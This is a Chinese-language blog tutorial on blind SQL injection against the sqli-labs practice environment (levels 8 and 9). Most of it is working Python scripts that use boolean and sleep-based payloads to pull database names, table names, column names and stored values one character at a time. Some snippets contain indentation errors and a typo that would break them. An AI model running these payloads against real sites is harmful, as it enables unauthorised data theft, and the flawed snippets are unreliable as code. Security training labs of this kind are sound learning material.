SQL注入姿势(3)

盲注

**前言:**之前就想写一篇与盲注有关的博客,但由于一直不会写脚本,就拖下来了,现在把博客补上,因为手工注入比较麻烦,所以这篇主要写脚本注入。

bool盲注

以sqli-labs第8关为例
第8关是bool盲注,首先判断注入点(无论什么注入,第一步都是判断注入点,就算写脚本第一步也要判断注入点),经过一番尝试,判断出闭合符号是单引号。
在这里插入图片描述
在写脚本之前,我们先了解下脚本的思路:
bool盲注的特点就是页面永远只有两种状态,一种是payload执行正确时的页面,例如上面的这种情况,另一种就是payload执行错误时的页面,如下图
在这里插入图片描述
这两种页面中HTML的状态码肯定是不一样的,因此HTML状态码长度也不一样,我们先记录一个payload执行正确时返回的HTML状态码的长度,然后再多次构造payload向服务器发送请求,当服务器返回的HTML的状态码的长度与我们原先记录的长度一致时,则说明这个payload语句正确。

首先我们需要记录一个正确payload执行后返回的HTML状态码的长度

#导入requests模块
import requests

#第八关的url
url="http://127.0.0.1/sqli-labs/Less-8/?id=1"

#requests.get()用于请求目标网站,返回值为服务器响应的网页源码
#requests.get(url).text 把返回的网页源码转换成文本形式
response_len=len(requests.get(url).text)

然后根据语句:?id=1' and length(database())=i 来写判断数据库的长度的函数:

#判断数据库的长度
def dbname_len():
    db_len = 0
    max=20
    #构造ayload
    url_t=url+"' and length(database())={0} --+"
    for i in range(1,max):
        url2=url_t.format(i)
        #str.format(i) 把str中{}里的值替换成i
        response = requests.get(url2)
        if len(response.text)==response_len:
            db_len = i
            print("数据库长度为:",db_len)
            break
    if db_len==0:
        if i==max-1:
            print("max的值太小")
        print("长度函数执行失败")
        exit()
    return db_len
#调用该函数
dbname_len()

执行完该函数,得出数据库长度为8

接着爆数据库名:

chars =  'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_!@#$%^&*(),./\[]+-=:;"''"<>?|~'

#爆数据库名
#dbname_len为数据库的长度
def dbname(dbname_len):
    name=''
    print("数据库名字为:",end="")
    tempname=name
    url_t=url+"' and ascii(substr(database(),{0},1))={1}--+"
    for i in range(1,dbname_len+1):
        for char in chars:
            char_ascii=ord(char)
            url2=url_t.format(i,char_ascii)
            response = requests.get(url2)
            if len(response.text) == response_len:
                name+=char
                print(char,end="")
                break
    if tempname==name:
        print("爆数据库函数执行失败")
        exit()
    return name
#调用函数
dbname(数据库的长度)

然后得到数据库’security’

接下来,保险一点的步骤是先判断表的数量,然后判断每个表的长度,最后再爆表名,但这样太麻烦了,要连续写三个函数,为了方便,咱直接爆表名:

#爆表名
#tn_len为表的长度,整型(int),num为limit后的第一个参数
def t_name(tn_len,num):
    tname=''
    print("第",num+1,"个表名为:",end="")
    url_t=url+"' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))={2} --+" 
    for i in range(1,tn_len+1):
    	char2=''
        for char in chars:
            char_ascii = ord(char)
            url2 = url_t.format(num,i,char_ascii)
            response=requests.get(url2)
            if len(response.text) == response_len:
                tname+=char
                char2=char
                print(char,end="")
                break
        if cahr2=='':
        	break
    if tname=='':
        print("该表名不存在函数执行错误")
    print()
    return tname
#调用函数
t_name(表的长度,num)

这里表的长度未知,我们尽量把数值填大一点,函数结束的标志是当表名的下一个字符为空时就结束,所以就算你填的再大只要表名的下一个字符为空就会结束该函数。
这里调用时可以用一个循环,可以把所有的表都爆出来

然后就该爆字段了,还是用上面的方法

#爆字段值
#tname为表名,num为limit后的第一个参数,clen为字段长
def c_name(tname,num,clen):
    c_name=''
    print("表",tname,"的第",num+1,"个字段名为:",end="")
    url_t=url+"' and ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1))={3}--+"
    for i in range(1,clen+1):
    char2=''
        for char in chars:
            char_ascii=ord(char)
            url2=url_t.format(tname,num,i,char_ascii)
            response=requests.get(url2)
            if len(response.text) == response_len:
                c_name+=char
                char2=char
                print(char,end="")
                break
        if char2=='':
            break
    if c_name=='':
        print("该字段不存在或函数执行错误")
    print()
    return c_name
#调用函数
c_name(表名,num,字段长)

表名可以根据上一个函数爆出来,num为limit后的第一个参数,通过修改它可以逐个把字段爆出来,字段长随便写个数值,别写太小

最后就是爆元素值了,也是用这种方法

#爆元素值
#c_name为字段名,tname为表名,num为limit后的第一个参数,vlen为元素值的长度
def values(c_name,tname,num,vlen):
    value=''
    print("字段",c_name,"第",num+1,"个值为:",end="")
    url_t=url+"' and ascii(substr((select {0} from {1} limit {2},1),{3},1))={4}--+"
    for i in range(1,vlen+1):
        char2=''
        for char in chars:
            char_ascii=ord(char)
            url2=url_t.format(c_name,tname,num,i,char_ascii)
            response=requests.get(url2)
            if len(response.text) == response_len:
                value+=char
                char2=char
                print(char,end="")
                break
        if char2=='':
            break    
    if value=='':
        print("该元素值不存在或函数执行错误")
    print()
    return value
时间盲注

以sqli-labs第9关为例
时间盲注最大的特点就是:无论payload是否执行正确,显示的界面的状态只有一个,所以我们只能用sleep函数,根据页面界面状态返回的时间来判断。

其实时间盲注的脚本与bool盲注脚本很相似,除了判断payload是否执行正确的判断条件不同以外,其他的代码基本和bool盲注的代码是一样的。

这个脚本的思路就是如果payload执行正确,就让服务器晚回应5秒,最后比较开始请求服务器时到服务器回应我们的时差。

先导入模块并且写好相关的变量:

#导入requests和time模块
import requests
import time

chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_!@#$%^&*()'

url="http://127.0.0.1/sqli-labs/Less-9/?id=1'"

爆数据库名

#爆数据库名
#dbname_len为数据库的长
def dbname(dbname_len):
    name=''
    tempname=name
    print("数据库名字为:",end="")
    url_t=url+" and if((ascii(substr(database(),{0},1))={1}),sleep(5),null)--+"
    for i in range(1,dbname_len+1):
        char2=''
        for char in chars:
            char_ascii=ord(char)
            url2=url_t.format(i,char_ascii)
            start_time=time.time()
            response = requests.get(url2)
            if time.time()-start_time>4:
                name+=char
                char2=char
                print(char,end="")
                break
        if char2=='':
            break
    if tempname==name:
        print("爆数据库函数执行失败")
        exit()    
    return name

跟上面的bool盲注的原理差不多,这里就不多赘述了

爆表名

#爆表名
#tn_len为表的长度,整型(int),num为limit后面的第一个参数
def t_name(tn_len,num):
    tname=''
    print("第",num+1,"个表名为:",end="")
    url_t=url+"and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))={2}),sleep(5),null) --+" 
    for i in range(1,tn_len+1):
        char2=''
        for char in chars:
            char_ascii = ord(char)
            url2 = url_t.format(num,i,char_ascii)
            start_time=time.time()
            response=requests.get(url2)
            if time.time()-start_time>4:
                tname+=char
                char2=char
                print(char,end="")
                break
        if char2=='':
            break
    if tname=='':
        print("爆表名函数执行错误")
        exit()
    return tname

爆字段

#爆字段值
#tname为表名,num为limit后的第一个参数,clen为字段长
def c_name(tname,num,clen):
    c_name=''
    print("表",tname,"的第",num+1,"个字段名为:",end="")
    url_t=url+" and if((ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1))={3}),sleep(5),null)--+"
    for i in range(1,clen+1):
        char2=''
        for char in chars:
            char_ascii=ord(char)
            url2=url_t.format(tname,num,i,char_ascii)
            start_time=time.time()
            response=requests.get(url2)
            if time.time()-start_time>4:
                c_name+=char
                char2=char
                print(char,end="")
                break
        if char2=='':
            break
    if c_name=='':
        print("爆字段名函数执行错误")
        exit()
    return c_name

爆元素值

#爆元素值
#c_name为字段名,tname为表名,num为limit后的第一个参数,vlen为元素值的长度
def values(c_name,tname,num,vlen):
    value=''
    print("字段",c_name,"第",num+1,"个值为:",end="")
    url_t=url+" and if((ascii(substr((select {0} from {1} limit {2},1),{3},1))={4}),sleep(5),null)--+"
    for i in range(1,vlen+1):
        char2=''
        for char in chars:
            char_ascii=ord(char)
            url2=url_t.format(c_name,tname,num,i,char_ascii)
            start_time=time.time()
            response=requests.get(url2)
            if time.time()-start_time>4:
                value+=char
                char2=char
                print(char,end="")
                break
        if char2=='':
            break
    if value=='':
        print("爆元素值函数执行错误")
        exit()
    return value

**总结:**初学python,只注重功能,没考虑代码的空间复杂度和时间复杂度,以小白现在的水平也只能写出这样的脚本了,同时也让小白意识到,自己该努力了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源中配备了详细的注释和文档,帮助用户快速理解代结构和实现逻辑。 适用人群: 这些源资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源资源进行课程实践、课外项目或毕业设计。通过分析和运行源,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源资源的可运行性和易用性,特别注意了以下几点:首先,每份源都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源中的注释和文档都非常完善,方便用户快速上手和理解代;最后,我会定期更新这些源资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值